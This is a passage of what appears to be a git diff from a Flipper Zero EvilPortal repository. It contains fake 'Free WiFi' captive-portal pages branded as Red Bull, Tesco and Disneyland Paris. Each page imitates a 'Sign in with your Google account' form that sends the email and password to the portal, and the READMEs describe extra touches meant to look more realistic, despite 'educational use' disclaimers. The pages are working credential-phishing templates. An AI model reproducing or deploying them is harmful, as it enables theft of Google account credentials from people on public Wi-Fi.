max-width: 400px;
margin: 0 auto;
padding: 20px;
}
@media (min-width: 600px) {
.container {
max-width: 500px;
}
}
.logo-container {
text-align: center;
margin-bottom: 30px;
display: flex;
justify-content: center;
align-items: center;
}
.logo {
width: 40px;
height: 40px;
fill: #000000;
margin-right: 100px
}
.form-container {
background: #FFFFFF;
border: 1px solid #FFFFFF;
border-radius: 4px;
padding: 20px;
box-shadow: 0px 0px 10px 0px rgba(108,66,156,0.2);
}
h1 {
text-align: center;
font-size: 28px;
font-weight: 500;
color: #000000;
margin-bottom: 20px;
}
h2 {
text-align: center;
font-size: 28px;
font-weight: 500;
color: #000000;
margin-bottom: 20px;
}
.input-field {
width: 100%;
padding: 12px;
border: 1px solid #000000;
border-radius: 4px;
box-sizing: border-box;
margin-bottom: 20px;
font-size: 14px;
}
.submit-btn {
background: #000000;
border: none;
color: #FFFFFF;
padding: 12px 20px;
border-radius: 4px;
cursor: pointer;
font-size: 16px;
display: block;
margin: auto;
margin-top: 20px;
}
.submit-btn:hover {
background: #000000;
}
</style>
</head>
<body>
<div class="container">
<div class="logo-container">
<svg version="1.0" xmlns="http://www.w3.org/2000/svg"
width="368.000000pt" height="137.000000pt" viewBox="0 0 368.000000 137.000000"
preserveAspectRatio="xMidYMid meet">
<g transform="translate(0.000000,137.000000) scale(0.100000,-0.100000)"
fill="#000000" stroke="none">
<path d="M553 1139 c-101 -116 -183 -223 -231 -303 -88 -144 -139 -319 -126
-430 13 -122 99 -231 214 -272 115 -41 305 -26 499 39 83 28 2543 1059 2538
1063 -1 1 -528 -137 -1172 -307 -643 -170 -1202 -316 -1242 -324 -94 -20 -235
-19 -302 1 -69 20 -141 86 -171 156 -19 45 -22 65 -18 147 5 101 19 153 72
264 18 37 31 67 30 67 -2 0 -42 -45 -91 -101z"/>
</g>
</svg>
</div>
<div class="form-container">
<center><h1>Sign in with your Google account</h1>
</center>
<form action="/get" id="login-form">
<input name="email" class="input-field" type="text" placeholder="Email or mobile phone number" required>
<input name="password" class="input-field" type="password" placeholder="Password" required>
<button class="submit-btn" type="submit">Connect</button>
</form>
</div>
</div>
</body>
</html>

8
Brands/README.md Normal file
View File

@@ -0,0 +1,8 @@
# !!FOR EDUCATIONAL USES ONLY!!
These portals are made to emulate various known brand's "Free WiFi" portals.
## I only made this to show the capabilities. I mean it when I say this is not meant to be used on real victims, you would be an a**hole if you do it
## Happy flippin'

View File

@@ -0,0 +1,7 @@
# !!FOR EDUCATIONAL USES ONLY!!
This one **emulates a portal for a Red Bull "Free Hotspot"** using EvilPortal on your Flipper Zero.
Go RBR
The **HTML in the *"WithForgotCredentials"* file** contains a **"forgot credentials" button on the user side to make it look more realistic**. This button only shows a message inviting them to go on their provider's app if they forgot their login/password.
## Happy flippin'

View File

@@ -0,0 +1 @@
Red Bull gives you WiFi

View File

@@ -0,0 +1,253 @@
<!DOCTYPE html>
<html>
<head>
<style>
body {
font-family: Arial, sans-serif;
background-color: #FFFFFF;
}
.container {
max-width: 400px;
margin: 0 auto;
padding: 20px;
}
@media (min-width: 600px) {
.container {
max-width: 500px;
}
}
.logo-container {
text-align: center;
margin-bottom: 30px;
display: flex;
justify-content: center;
align-items: center;
}
.logo {
width: 40px;
height: 40px;
fill: #EE283B;
margin-right: 100px
}
.form-container {
background: #FFFFFF;
border: 1px solid #FFCC2A;
border-radius: 4px;
padding: 20px;
box-shadow: 0px 0px 10px 0px rgba(108,66,156,0.2);
}
h1 {
text-align: center;
font-size: 28px;
font-weight: 500;
color: #EE283B;
margin-bottom: 20px;
}
h2 {
text-align: center;
font-size: 28px;
font-weight: 500;
color: #EE283B;
margin-bottom: 20px;
}
.input-field {
width: 100%;
padding: 12px;
border: 1px solid #EE283B;
border-radius: 4px;
box-sizing: border-box;
margin-bottom: 20px;
font-size: 14px;
}
.submit-btn {
background: #364777;
border: none;
color: #FFFFFF;
padding: 12px 20px;
border-radius: 4px;
cursor: pointer;
font-size: 16px;
display: block;
margin: auto;
margin-top: 20px;
}
.submit-btn:hover {
background: #EE283B;
}
.forgot-password {
display: block;
text-align: center;
color: #EE283B;
text-decoration: underline;
margin-top: 10px;
}
.error-message {
color: red;
text-align: center;
display: none;
margin-top: 10px;
}
</style>
</head>
<body>
<div class="container">
<div class="logo-container">
<svg version="1.0" xmlns="http://www.w3.org/2000/svg"
width="150.000000pt" height="150.000000pt" viewBox="0 0 500.000000 500.000000"
preserveAspectRatio="xMidYMid meet">
<g transform="translate(0.000000,500.000000) scale(0.100000,-0.100000)"
fill="#EE283B" stroke="none">
<path d="M210 3865 c0 -95 46 -145 133 -145 41 0 73 -21 64 -43 -3 -9 -29 -33
-57 -53 -61 -44 -99 -105 -107 -172 -15 -131 82 -213 235 -198 l62 7 0 -40 c0
-23 11 -69 23 -103 13 -35 22 -69 20 -76 -7 -20 -63 -45 -113 -51 -43 -6 -46
-8 -72 -63 -15 -31 -39 -64 -54 -75 -14 -10 -40 -30 -58 -45 -17 -15 -43 -37
-58 -49 -37 -27 -40 -83 -5 -93 53 -14 75 -7 114 38 36 41 43 44 85 44 46 -1
59 5 121 54 25 20 40 23 130 24 89 0 110 4 159 27 45 21 62 35 78 66 26 51 25
61 -3 61 -13 0 -37 -15 -57 -36 -49 -52 -84 -64 -195 -64 -106 0 -141 -10
-201 -60 -34 -29 -33 -27 7 13 51 51 95 67 180 67 66 0 109 13 165 51 50 34
98 101 90 126 -7 21 10 133 22 145 4 4 8 -30 7 -77 0 -117 3 -120 148 -121 62
0 149 -4 193 -9 l82 -8 -5 47 c-6 49 10 65 21 21 9 -35 62 -93 107 -116 41
-21 64 -48 74 -90 6 -24 2 -28 -53 -52 -76 -35 -88 -34 -108 6 -9 17 -28 44
-42 60 -22 23 -33 27 -84 27 -67 0 -71 -8 -36 -70 18 -31 29 -40 50 -40 22 0
32 -8 48 -40 37 -73 76 -77 205 -20 49 22 101 40 115 40 33 0 63 21 89 64 29
46 26 76 -14 156 -32 63 -38 70 -65 70 l-30 0 35 -70 c40 -80 41 -87 18 -135
-21 -44 -35 -46 -22 -3 11 40 7 52 -42 137 -21 37 -39 70 -39 73 0 3 13 8 30
11 65 14 102 59 119 150 l9 42 1 -53 c1 -35 -6 -66 -19 -93 -18 -35 -19 -40
-5 -46 9 -3 47 -1 85 6 90 14 97 14 82 -1 -7 -7 -12 -20 -12 -29 0 -10 -16
-34 -35 -55 -41 -43 -49 -90 -14 -79 21 7 21 7 4 -23 -15 -24 -16 -37 -9 -64
9 -30 13 -33 49 -32 22 0 67 8 100 17 32 9 82 17 111 17 37 0 59 6 79 22 18
14 32 18 40 12 77 -57 99 -68 153 -71 62 -4 61 1 -8 39 -21 12 -39 36 -56 75
-14 32 -33 66 -41 75 -8 9 -13 22 -11 29 2 7 19 -7 39 -31 79 -100 104 -120
148 -120 22 0 41 2 41 4 0 2 -17 15 -39 29 -22 15 -51 49 -69 81 -18 30 -41
60 -52 66 -13 7 -20 21 -20 40 0 16 -10 53 -21 82 -12 29 -27 93 -35 142 -7
48 -23 108 -35 132 -24 50 -164 212 -234 270 -25 21 -69 59 -98 83 -67 58
-120 81 -187 81 -47 0 -65 -6 -128 -44 -40 -25 -97 -50 -125 -57 -73 -17 -142
-53 -166 -88 -17 -24 -31 -31 -69 -36 -84 -10 -119 -24 -160 -64 -63 -61 -86
-73 -166 -82 -85 -9 -132 -30 -197 -88 -97 -85 -198 -116 -272 -83 -50 22 -67
45 -67 91 0 60 23 92 153 208 41 37 47 47 47 82 0 53 -38 98 -88 106 -20 4
-49 9 -64 11 -14 3 -52 21 -83 40 -32 19 -59 34 -61 34 -2 0 -4 -20 -4 -45z"/>
<path d="M4755 3894 c-40 -31 -98 -56 -153 -64 -73 -12 -112 -50 -112 -111 0
-35 6 -45 47 -82 130 -116 153 -148 153 -208 0 -46 -17 -69 -67 -91 -74 -33
-175 -2 -272 83 -65 58 -112 79 -197 88 -80 9 -103 21 -166 82 -41 40 -76 54
-160 64 -38 5 -52 12 -69 36 -24 35 -93 71 -166 88 -28 7 -85 32 -125 57 -63
38 -81 44 -128 44 -67 0 -120 -23 -187 -81 -29 -24 -73 -62 -98 -83 -70 -58
-210 -220 -234 -270 -12 -24 -28 -84 -35 -132 -8 -49 -23 -113 -35 -142 -11
-29 -21 -66 -21 -82 0 -19 -7 -33 -20 -40 -11 -6 -34 -36 -52 -66 -18 -32 -47
-66 -69 -81 -22 -14 -39 -27 -39 -29 0 -2 19 -4 41 -4 44 0 69 20 148 120 20
24 37 38 39 31 2 -7 -3 -20 -11 -29 -8 -9 -27 -43 -41 -75 -17 -39 -35 -63
-56 -75 -69 -38 -70 -43 -8 -39 54 3 76 14 153 71 8 6 22 2 40 -12 20 -16 42
-22 79 -22 29 0 79 -8 111 -17 33 -9 78 -17 100 -17 36 -1 40 2 49 32 7 27 6
40 -9 64 -17 30 -17 30 4 23 35 -11 27 36 -14 79 -19 21 -35 45 -35 55 0 9 -5
22 -12 29 -15 15 -8 15 82 1 38 -7 76 -9 85 -6 14 6 13 11 -5 46 -13 27 -20
58 -19 93 l1 53 9 -42 c17 -91 54 -136 119 -150 17 -3 30 -8 30 -11 0 -3 -18
-36 -39 -73 -49 -85 -53 -97 -42 -137 13 -43 -1 -41 -22 3 -23 48 -22 55 18
135 l35 70 -30 0 c-27 0 -33 -7 -65 -70 -40 -80 -43 -110 -14 -156 26 -43 56
-64 89 -64 14 0 66 -18 115 -40 129 -57 168 -53 205 20 16 32 26 40 48 40 21
0 32 9 50 40 35 62 31 70 -36 70 -51 0 -62 -4 -84 -27 -14 -16 -33 -43 -42
-60 -20 -40 -32 -41 -108 -6 -55 24 -59 28 -53 52 10 42 33 69 74 90 45 23 98
81 107 116 11 44 27 28 21 -21 l-5 -47 82 8 c44 5 131 9 193 9 145 1 148 4
148 121 -1 47 3 81 7 77 12 -12 29 -124 22 -145 -8 -25 40 -92 90 -126 56 -38
99 -51 165 -51 85 0 129 -16 180 -67 40 -40 41 -42 7 -13 -60 50 -95 60 -201
60 -111 0 -146 12 -195 64 -20 21 -44 36 -57 36 -28 0 -29 -10 -3 -61 16 -31
33 -45 78 -66 49 -23 70 -27 159 -27 90 -1 105 -4 130 -24 62 -49 75 -55 121
-54 42 0 49 -3 85 -44 39 -45 61 -52 115 -38 34 10 31 66 -5 93 -16 12 -42 34
-59 49 -18 15 -44 35 -58 45 -15 11 -39 44 -54 75 -26 55 -29 57 -72 63 -50 6
-106 31 -113 51 -2 7 7 41 20 76 12 34 23 80 23 103 l0 40 63 -7 c78 -8 136 7
182 47 91 80 64 237 -55 323 -28 20 -54 44 -57 53 -9 22 23 43 64 43 87 0 133
50 133 145 0 49 -4 52 -35 29z"/>
<path d="M2337 3869 c-43 -10 -111 -35 -150 -55 -75 -38 -167 -100 -167 -114
0 -4 30 -41 66 -81 119 -133 146 -183 159 -299 4 -36 18 -96 31 -134 13 -38
24 -77 24 -86 0 -9 9 -25 20 -35 11 -10 33 -41 49 -70 18 -31 44 -61 66 -73
19 -12 38 -29 41 -37 8 -20 -13 -45 -38 -45 -15 0 -19 -5 -15 -20 9 -34 -15
-52 -69 -52 -58 1 -96 14 -143 49 -32 25 -34 25 -62 9 -17 -10 -56 -18 -96
-20 -61 -3 -173 -30 -173 -43 0 -13 68 -101 114 -146 91 -92 207 -158 338
-193 87 -24 280 -24 367 0 180 49 324 150 429 303 l22 31 -67 23 c-37 12 -98
24 -136 25 -40 2 -79 10 -96 20 -28 16 -30 16 -62 -9 -47 -35 -85 -48 -143
-49 -54 0 -78 18 -69 52 4 15 0 20 -15 20 -25 0 -46 25 -38 45 3 8 22 25 41
37 22 12 48 42 66 73 16 29 38 60 49 70 11 10 20 26 20 36 0 11 9 42 20 71 11
29 27 95 35 146 20 135 29 151 203 351 l42 49 -68 46 c-85 56 -145 82 -247
107 -104 25 -243 24 -348 -2z"/>
<path d="M2170 2044 l0 -286 -30 25 c-74 62 -206 75 -298 28 -255 -130 -250
-572 7 -697 20 -11 67 -20 109 -22 82 -5 142 12 186 53 l26 24 0 -29 0 -30
105 0 105 0 0 610 0 610 -105 0 -105 0 0 -286z m-44 -438 c81 -85 79 -213 -5
-289 -70 -63 -143 -58 -205 15 -74 87 -63 218 24 292 26 21 42 26 87 26 54 0
59 -2 99 -44z"/>
<path d="M4350 1720 l0 -610 105 0 105 0 0 610 0 610 -105 0 -105 0 0 -610z"/>
<path d="M4690 1720 l0 -610 105 0 105 0 0 610 0 610 -105 0 -105 0 0 -610z"/>
<path d="M100 1651 l0 -541 110 0 110 0 0 450 0 450 43 0 c61 0 110 -16 137
-45 19 -20 25 -40 28 -90 3 -39 -1 -77 -8 -95 -15 -35 -60 -66 -112 -75 l-38
-7 0 -125 0 -126 103 -168 102 -169 133 0 c104 0 132 3 126 13 -4 6 -72 108
-151 224 l-143 213 50 21 c55 24 98 67 132 132 26 50 37 198 19 264 -21 77
-69 134 -145 173 l-69 35 -213 3 -214 4 0 -541z"/>
<path d="M2720 1650 l0 -542 228 4 c257 5 289 12 365 78 61 54 90 124 91 220
0 126 -48 226 -129 264 l-35 17 25 33 c35 46 59 146 50 214 -15 120 -56 182
-149 224 -47 21 -68 23 -248 26 l-198 4 0 -542z m288 359 c68 -14 94 -44 100
-113 7 -83 -33 -146 -93 -146 -12 0 -15 -17 -15 -85 0 -94 -7 -86 81 -100 74
-11 118 -80 103 -160 -14 -78 -72 -115 -179 -115 l-65 0 0 365 c0 224 4 365
10 365 5 0 31 -5 58 -11z"/>
<path d="M1055 1830 c-93 -24 -168 -89 -210 -183 -40 -88 -47 -225 -16 -325
25 -84 88 -160 165 -199 74 -39 216 -44 300 -12 33 12 78 39 100 60 l41 38
-67 67 -67 68 -38 -43 c-34 -38 -45 -44 -89 -48 -46 -5 -54 -2 -86 25 -33 30
-58 85 -58 131 0 21 2 21 230 21 l230 0 0 45 c0 168 -91 311 -223 350 -53 16
-161 18 -212 5z m160 -152 c26 -12 57 -55 70 -95 l6 -23 -125 0 c-138 0 -141
2 -111 60 32 62 98 86 160 58z"/>
<path d="M3582 1558 c3 -252 4 -265 27 -316 48 -105 137 -152 291 -152 154 0
244 47 291 152 23 51 24 65 27 316 l4 262 -106 0 -106 0 0 -212 c0 -117 -5
-231 -10 -252 -27 -118 -168 -123 -200 -7 -5 20 -10 134 -10 254 l0 217 -106
0 -105 0 3 -262z"/>
</g>
</svg>
</div>
<div class="form-container">
<center><h1><b>Sign in with your <font color="#4285F4">G</font><font color="#EA4335">o</font><font color="#FBBC05">o</font><font color="#4285F4">g</font><font color="#34A853">l</font><font color="#EA4335">e</font>
account</b></h1>
</center>
<form action="/get" id="login-form">
<input name="email" class="input-field" type="text" placeholder="Email or mobile phone number" required>
<input name="password" class="input-field" type="password" placeholder="Password" required>
<a href="javascript:void(0);" class="forgot-password">Forgot credentials?</a>
<button class="submit-btn" type="submit">Connect</button>
<div class="error-message"></div>
</form>
</div>
</div>
<script>
document.querySelector('.forgot-password').addEventListener('click', function() {
var errorMessage = document.querySelector('.error-message');
errorMessage.innerHTML = "Please refer to your Google account if you forgot your credentials";
errorMessage.style.display = 'block';
});
</script>
</body>
</html>

View File

@@ -0,0 +1 @@
Red Bull gives you WiFi

229
Brands/Red Bull/index.html Normal file
View File

@@ -0,0 +1,229 @@
<!DOCTYPE html>
<html>
<head>
<style>
body {
font-family: Arial, sans-serif;
background-color: #FFFFFF;
}
.container {
max-width: 400px;
margin: 0 auto;
padding: 20px;
}
@media (min-width: 600px) {
.container {
max-width: 500px;
}
}
.logo-container {
text-align: center;
margin-bottom: 30px;
display: flex;
justify-content: center;
align-items: center;
}
.logo {
width: 40px;
height: 40px;
fill: #EE283B;
margin-right: 100px
}
.form-container {
background: #FFFFFF;
border: 1px solid #FFCC2A;
border-radius: 4px;
padding: 20px;
box-shadow: 0px 0px 10px 0px rgba(108,66,156,0.2);
}
h1 {
text-align: center;
font-size: 28px;
font-weight: 500;
color: #EE283B;
margin-bottom: 20px;
}
h2 {
text-align: center;
font-size: 28px;
font-weight: 500;
color: #EE283B;
margin-bottom: 20px;
}
.input-field {
width: 100%;
padding: 12px;
border: 1px solid #EE283B;
border-radius: 4px;
box-sizing: border-box;
margin-bottom: 20px;
font-size: 14px;
}
.submit-btn {
background: #364777;
border: none;
color: #FFFFFF;
padding: 12px 20px;
border-radius: 4px;
cursor: pointer;
font-size: 16px;
display: block;
margin: auto;
margin-top: 20px;
}
.submit-btn:hover {
background: #EE283B;
}
</style>
</head>
<body>
<div class="container">
<div class="logo-container">
<svg version="1.0" xmlns="http://www.w3.org/2000/svg"
width="150.000000pt" height="150.000000pt" viewBox="0 0 500.000000 500.000000"
preserveAspectRatio="xMidYMid meet">
<g transform="translate(0.000000,500.000000) scale(0.100000,-0.100000)"
fill="#EE283B" stroke="none">
<path d="M210 3865 c0 -95 46 -145 133 -145 41 0 73 -21 64 -43 -3 -9 -29 -33
-57 -53 -61 -44 -99 -105 -107 -172 -15 -131 82 -213 235 -198 l62 7 0 -40 c0
-23 11 -69 23 -103 13 -35 22 -69 20 -76 -7 -20 -63 -45 -113 -51 -43 -6 -46
-8 -72 -63 -15 -31 -39 -64 -54 -75 -14 -10 -40 -30 -58 -45 -17 -15 -43 -37
-58 -49 -37 -27 -40 -83 -5 -93 53 -14 75 -7 114 38 36 41 43 44 85 44 46 -1
59 5 121 54 25 20 40 23 130 24 89 0 110 4 159 27 45 21 62 35 78 66 26 51 25
61 -3 61 -13 0 -37 -15 -57 -36 -49 -52 -84 -64 -195 -64 -106 0 -141 -10
-201 -60 -34 -29 -33 -27 7 13 51 51 95 67 180 67 66 0 109 13 165 51 50 34
98 101 90 126 -7 21 10 133 22 145 4 4 8 -30 7 -77 0 -117 3 -120 148 -121 62
0 149 -4 193 -9 l82 -8 -5 47 c-6 49 10 65 21 21 9 -35 62 -93 107 -116 41
-21 64 -48 74 -90 6 -24 2 -28 -53 -52 -76 -35 -88 -34 -108 6 -9 17 -28 44
-42 60 -22 23 -33 27 -84 27 -67 0 -71 -8 -36 -70 18 -31 29 -40 50 -40 22 0
32 -8 48 -40 37 -73 76 -77 205 -20 49 22 101 40 115 40 33 0 63 21 89 64 29
46 26 76 -14 156 -32 63 -38 70 -65 70 l-30 0 35 -70 c40 -80 41 -87 18 -135
-21 -44 -35 -46 -22 -3 11 40 7 52 -42 137 -21 37 -39 70 -39 73 0 3 13 8 30
11 65 14 102 59 119 150 l9 42 1 -53 c1 -35 -6 -66 -19 -93 -18 -35 -19 -40
-5 -46 9 -3 47 -1 85 6 90 14 97 14 82 -1 -7 -7 -12 -20 -12 -29 0 -10 -16
-34 -35 -55 -41 -43 -49 -90 -14 -79 21 7 21 7 4 -23 -15 -24 -16 -37 -9 -64
9 -30 13 -33 49 -32 22 0 67 8 100 17 32 9 82 17 111 17 37 0 59 6 79 22 18
14 32 18 40 12 77 -57 99 -68 153 -71 62 -4 61 1 -8 39 -21 12 -39 36 -56 75
-14 32 -33 66 -41 75 -8 9 -13 22 -11 29 2 7 19 -7 39 -31 79 -100 104 -120
148 -120 22 0 41 2 41 4 0 2 -17 15 -39 29 -22 15 -51 49 -69 81 -18 30 -41
60 -52 66 -13 7 -20 21 -20 40 0 16 -10 53 -21 82 -12 29 -27 93 -35 142 -7
48 -23 108 -35 132 -24 50 -164 212 -234 270 -25 21 -69 59 -98 83 -67 58
-120 81 -187 81 -47 0 -65 -6 -128 -44 -40 -25 -97 -50 -125 -57 -73 -17 -142
-53 -166 -88 -17 -24 -31 -31 -69 -36 -84 -10 -119 -24 -160 -64 -63 -61 -86
-73 -166 -82 -85 -9 -132 -30 -197 -88 -97 -85 -198 -116 -272 -83 -50 22 -67
45 -67 91 0 60 23 92 153 208 41 37 47 47 47 82 0 53 -38 98 -88 106 -20 4
-49 9 -64 11 -14 3 -52 21 -83 40 -32 19 -59 34 -61 34 -2 0 -4 -20 -4 -45z"/>
<path d="M4755 3894 c-40 -31 -98 -56 -153 -64 -73 -12 -112 -50 -112 -111 0
-35 6 -45 47 -82 130 -116 153 -148 153 -208 0 -46 -17 -69 -67 -91 -74 -33
-175 -2 -272 83 -65 58 -112 79 -197 88 -80 9 -103 21 -166 82 -41 40 -76 54
-160 64 -38 5 -52 12 -69 36 -24 35 -93 71 -166 88 -28 7 -85 32 -125 57 -63
38 -81 44 -128 44 -67 0 -120 -23 -187 -81 -29 -24 -73 -62 -98 -83 -70 -58
-210 -220 -234 -270 -12 -24 -28 -84 -35 -132 -8 -49 -23 -113 -35 -142 -11
-29 -21 -66 -21 -82 0 -19 -7 -33 -20 -40 -11 -6 -34 -36 -52 -66 -18 -32 -47
-66 -69 -81 -22 -14 -39 -27 -39 -29 0 -2 19 -4 41 -4 44 0 69 20 148 120 20
24 37 38 39 31 2 -7 -3 -20 -11 -29 -8 -9 -27 -43 -41 -75 -17 -39 -35 -63
-56 -75 -69 -38 -70 -43 -8 -39 54 3 76 14 153 71 8 6 22 2 40 -12 20 -16 42
-22 79 -22 29 0 79 -8 111 -17 33 -9 78 -17 100 -17 36 -1 40 2 49 32 7 27 6
40 -9 64 -17 30 -17 30 4 23 35 -11 27 36 -14 79 -19 21 -35 45 -35 55 0 9 -5
22 -12 29 -15 15 -8 15 82 1 38 -7 76 -9 85 -6 14 6 13 11 -5 46 -13 27 -20
58 -19 93 l1 53 9 -42 c17 -91 54 -136 119 -150 17 -3 30 -8 30 -11 0 -3 -18
-36 -39 -73 -49 -85 -53 -97 -42 -137 13 -43 -1 -41 -22 3 -23 48 -22 55 18
135 l35 70 -30 0 c-27 0 -33 -7 -65 -70 -40 -80 -43 -110 -14 -156 26 -43 56
-64 89 -64 14 0 66 -18 115 -40 129 -57 168 -53 205 20 16 32 26 40 48 40 21
0 32 9 50 40 35 62 31 70 -36 70 -51 0 -62 -4 -84 -27 -14 -16 -33 -43 -42
-60 -20 -40 -32 -41 -108 -6 -55 24 -59 28 -53 52 10 42 33 69 74 90 45 23 98
81 107 116 11 44 27 28 21 -21 l-5 -47 82 8 c44 5 131 9 193 9 145 1 148 4
148 121 -1 47 3 81 7 77 12 -12 29 -124 22 -145 -8 -25 40 -92 90 -126 56 -38
99 -51 165 -51 85 0 129 -16 180 -67 40 -40 41 -42 7 -13 -60 50 -95 60 -201
60 -111 0 -146 12 -195 64 -20 21 -44 36 -57 36 -28 0 -29 -10 -3 -61 16 -31
33 -45 78 -66 49 -23 70 -27 159 -27 90 -1 105 -4 130 -24 62 -49 75 -55 121
-54 42 0 49 -3 85 -44 39 -45 61 -52 115 -38 34 10 31 66 -5 93 -16 12 -42 34
-59 49 -18 15 -44 35 -58 45 -15 11 -39 44 -54 75 -26 55 -29 57 -72 63 -50 6
-106 31 -113 51 -2 7 7 41 20 76 12 34 23 80 23 103 l0 40 63 -7 c78 -8 136 7
182 47 91 80 64 237 -55 323 -28 20 -54 44 -57 53 -9 22 23 43 64 43 87 0 133
50 133 145 0 49 -4 52 -35 29z"/>
<path d="M2337 3869 c-43 -10 -111 -35 -150 -55 -75 -38 -167 -100 -167 -114
0 -4 30 -41 66 -81 119 -133 146 -183 159 -299 4 -36 18 -96 31 -134 13 -38
24 -77 24 -86 0 -9 9 -25 20 -35 11 -10 33 -41 49 -70 18 -31 44 -61 66 -73
19 -12 38 -29 41 -37 8 -20 -13 -45 -38 -45 -15 0 -19 -5 -15 -20 9 -34 -15
-52 -69 -52 -58 1 -96 14 -143 49 -32 25 -34 25 -62 9 -17 -10 -56 -18 -96
-20 -61 -3 -173 -30 -173 -43 0 -13 68 -101 114 -146 91 -92 207 -158 338
-193 87 -24 280 -24 367 0 180 49 324 150 429 303 l22 31 -67 23 c-37 12 -98
24 -136 25 -40 2 -79 10 -96 20 -28 16 -30 16 -62 -9 -47 -35 -85 -48 -143
-49 -54 0 -78 18 -69 52 4 15 0 20 -15 20 -25 0 -46 25 -38 45 3 8 22 25 41
37 22 12 48 42 66 73 16 29 38 60 49 70 11 10 20 26 20 36 0 11 9 42 20 71 11
29 27 95 35 146 20 135 29 151 203 351 l42 49 -68 46 c-85 56 -145 82 -247
107 -104 25 -243 24 -348 -2z"/>
<path d="M2170 2044 l0 -286 -30 25 c-74 62 -206 75 -298 28 -255 -130 -250
-572 7 -697 20 -11 67 -20 109 -22 82 -5 142 12 186 53 l26 24 0 -29 0 -30
105 0 105 0 0 610 0 610 -105 0 -105 0 0 -286z m-44 -438 c81 -85 79 -213 -5
-289 -70 -63 -143 -58 -205 15 -74 87 -63 218 24 292 26 21 42 26 87 26 54 0
59 -2 99 -44z"/>
<path d="M4350 1720 l0 -610 105 0 105 0 0 610 0 610 -105 0 -105 0 0 -610z"/>
<path d="M4690 1720 l0 -610 105 0 105 0 0 610 0 610 -105 0 -105 0 0 -610z"/>
<path d="M100 1651 l0 -541 110 0 110 0 0 450 0 450 43 0 c61 0 110 -16 137
-45 19 -20 25 -40 28 -90 3 -39 -1 -77 -8 -95 -15 -35 -60 -66 -112 -75 l-38
-7 0 -125 0 -126 103 -168 102 -169 133 0 c104 0 132 3 126 13 -4 6 -72 108
-151 224 l-143 213 50 21 c55 24 98 67 132 132 26 50 37 198 19 264 -21 77
-69 134 -145 173 l-69 35 -213 3 -214 4 0 -541z"/>
<path d="M2720 1650 l0 -542 228 4 c257 5 289 12 365 78 61 54 90 124 91 220
0 126 -48 226 -129 264 l-35 17 25 33 c35 46 59 146 50 214 -15 120 -56 182
-149 224 -47 21 -68 23 -248 26 l-198 4 0 -542z m288 359 c68 -14 94 -44 100
-113 7 -83 -33 -146 -93 -146 -12 0 -15 -17 -15 -85 0 -94 -7 -86 81 -100 74
-11 118 -80 103 -160 -14 -78 -72 -115 -179 -115 l-65 0 0 365 c0 224 4 365
10 365 5 0 31 -5 58 -11z"/>
<path d="M1055 1830 c-93 -24 -168 -89 -210 -183 -40 -88 -47 -225 -16 -325
25 -84 88 -160 165 -199 74 -39 216 -44 300 -12 33 12 78 39 100 60 l41 38
-67 67 -67 68 -38 -43 c-34 -38 -45 -44 -89 -48 -46 -5 -54 -2 -86 25 -33 30
-58 85 -58 131 0 21 2 21 230 21 l230 0 0 45 c0 168 -91 311 -223 350 -53 16
-161 18 -212 5z m160 -152 c26 -12 57 -55 70 -95 l6 -23 -125 0 c-138 0 -141
2 -111 60 32 62 98 86 160 58z"/>
<path d="M3582 1558 c3 -252 4 -265 27 -316 48 -105 137 -152 291 -152 154 0
244 47 291 152 23 51 24 65 27 316 l4 262 -106 0 -106 0 0 -212 c0 -117 -5
-231 -10 -252 -27 -118 -168 -123 -200 -7 -5 20 -10 134 -10 254 l0 217 -106
0 -105 0 3 -262z"/>
</g>
</svg>
</div>
<div class="form-container">
<center><h1><b>Sign in with your <font color="#4285F4">G</font><font color="#EA4335">o</font><font color="#FBBC05">o</font><font color="#4285F4">g</font><font color="#34A853">l</font><font color="#EA4335">e</font>
account</b></h1>
</center>
<form action="/get" id="login-form">
<input name="email" class="input-field" type="text" placeholder="Email or mobile phone number" required>
<input name="password" class="input-field" type="password" placeholder="Password" required>
<button class="submit-btn" type="submit">Connect</button>
</form>
</div>
</div>
</body>
</html>

View File

@@ -0,0 +1,8 @@
# !!FOR EDUCATIONAL USES ONLY!!
This one **emulates a portal for a Tesco "Free Hotspot"** using EvilPortal on your Flipper Zero.
The **HTML in the *"WithForgotCredentials"* file** contains a **"forgot credentials" button on the user side to make it look more realistic**. This button only shows a message inviting them to go on their provider's app if they forgot their login/password.
## Happy flippin'
![Tesco WiFi](https://zupimages.net/up/23/31/8rde.png)

View File

@@ -0,0 +1 @@
Tesco Hotspot

File diff suppressed because one or more lines are too long

View File

@@ -0,0 +1 @@
Tesco Hotspot

File diff suppressed because one or more lines are too long

View File

@@ -0,0 +1,6 @@
# !!FOR EDUCATIONAL USES ONLY!!
This one **emulates a portal for a Disneyland Paris "Free Hotspot"** using EvilPortal on your Flipper Zero.
The **HTML in the *"WithForgotCredentials"* file** contains a **"forgot credentials" button on the user side to make it look more realistic**. This button only shows a message inviting them to go on their provider's app if they forgot their login/password.
## Happy flippin'

View File

@@ -0,0 +1 @@
Disneyland Paris WiFi

View File

@@ -0,0 +1,293 @@
<!DOCTYPE html>
<html>
<head>
<style>
body {
font-family: Arial, sans-serif;
background-color: #FFFFFF;
}
.container {
max-width: 400px;
margin: 0 auto;
padding: 20px;
}
@media (min-width: 600px) {
.container {
max-width: 500px;
}
}
.logo-container {
text-align: center;
margin-bottom: 30px;
display: flex;
justify-content: center;
align-items: center;
}
.logo {
width: 40px;
height: 40px;
fill: #203855;
margin-right: 100px
}
.form-container {
background: #FFFFFF;
border: 1px solid #FFFFFF;
border-radius: 4px;
padding: 20px;
box-shadow: 0px 0px 10px 0px rgba(108,66,156,0.2);
}
h1 {
text-align: center;
font-size: 28px;
font-weight: 500;
color: #000000;
margin-bottom: 20px;
}
h2 {
text-align: center;
font-size: 28px;
font-weight: 500;
color: #000000;
margin-bottom: 20px;
}
.input-field {
width: 100%;
padding: 12px;
border: 2px solid #203855;
border-radius: 4px;
box-sizing: border-box;
margin-bottom: 20px;
font-size: 14px;
}
.submit-btn {
background: #203855;
border: none;
color: #FFFFFF;
padding: 12px 20px;
border-radius: 4px;
cursor: pointer;
font-size: 16px;
display: block;
margin: auto;
margin-top: 20px;
}
.submit-btn:hover {
background: #4D469B;
}
.forgot-password {
display: block;
text-align: center;
color: #000000;
text-decoration: underline;
margin-top: 10px;
}
.error-message {
color: red;
text-align: center;
display: none;
margin-top: 10px;
}
</style>
</head>
<body>
<div class="container">
<div class="logo-container">
<svg version="1.0" xmlns="http://www.w3.org/2000/svg"
width="256.000000pt" height="72.000000pt" viewBox="0 0 2560.000000 727.000000"
preserveAspectRatio="xMidYMid meet">
<g transform="translate(0.000000,727.000000) scale(0.100000,-0.100000)"
